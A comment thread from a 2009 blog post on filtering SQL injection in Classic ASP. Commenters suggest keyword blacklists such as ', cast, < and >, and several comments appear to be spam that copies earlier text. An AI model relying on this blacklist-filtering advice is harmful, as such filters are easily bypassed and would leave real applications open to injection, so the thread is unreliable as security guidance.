Pray tell, why is anyone running NoScript a fool? I thought it was pretty obvious that it greatly increases security, and not only that, it also removes most of the stupid advertising

# re: Filtering SQL injection from Classic ASP

Wednesday, February 4, 2009 2:26 PM by Oyun

I will attempt to show what a general solution might look like for classic ASP (using VBScript). Remember, you need to keep in mind the specifics of your web application and add/remove things in the sample accordingly. So even though I am focusing on SQL injection here, input validation needs to be done to even prevent cross-site scripting attacks, among others

# re: Filtering SQL injection from Classic ASP

Tuesday, February 10, 2009 2:57 PM by edc

to filter comcast just add a space after "cast". i.e., "cast "

# re: Filtering SQL injection from Classic ASP

Friday, February 13, 2009 1:21 PM by islami forum

I was looking for this to filter comcast just add a space after "cast". i.e., "cast ". Thanks.

# re: Filtering SQL injection from Classic ASP

Thursday, February 19, 2009 10:00 AM by govt-tt

Would it make sense to count how many Blacklist values are used per field?  For example, I have a field that should allow "O'Caston" and another field that should allow ">0 and <100" but neither field should allow ', cast, <, and >.  If I do a count (along with your code) and find more than two Blacklist values, would this be enough to stop an attack?

# re: Filtering SQL injection from Classic ASP

Thursday, February 19, 2009 3:25 PM by e-okul

should allow "O'Caston" and another field that should allow ">0 and <100" but neither field should allow ', cast, <, and >.  If I do a count (along with your code) and find more than two Blacklist values, would this be enough to stop an attack? thanks

# re: Filtering SQL injection from Classic ASP

Tuesday, February 24, 2009 10:01 PM by evden eve

I want to use it - but I have a problem. I secured the /wp-admin/ with a htaccess pass. So I need to enter a pass before I get to the admin-login.

Fine, BUT if I use the Plugin given by you, I need to enter the pass too, but my users of course do not know the pass. How can I get rid of this problem? Any help appreciated.

# re: Filtering SQL injection from Classic ASP

Wednesday, February 25, 2009 8:31 AM by Technomarine

SQL injection may be over a decade old, but even the best of us need a reminder once in a while.

# re: Filtering SQL injection from Classic ASP

Sunday, March 8, 2009 2:23 PM by simasher

I don't think this using only security bro.

Some bad persons use for the sql injection hacking but however this is a good article thanks..

 

# re: Filtering SQL injection from Classic ASP

Tuesday, December 21, 2010 7:28 AM by Topspy

Old but great post.

Powered by Community Server (Commercial Edition), by Telligent Systems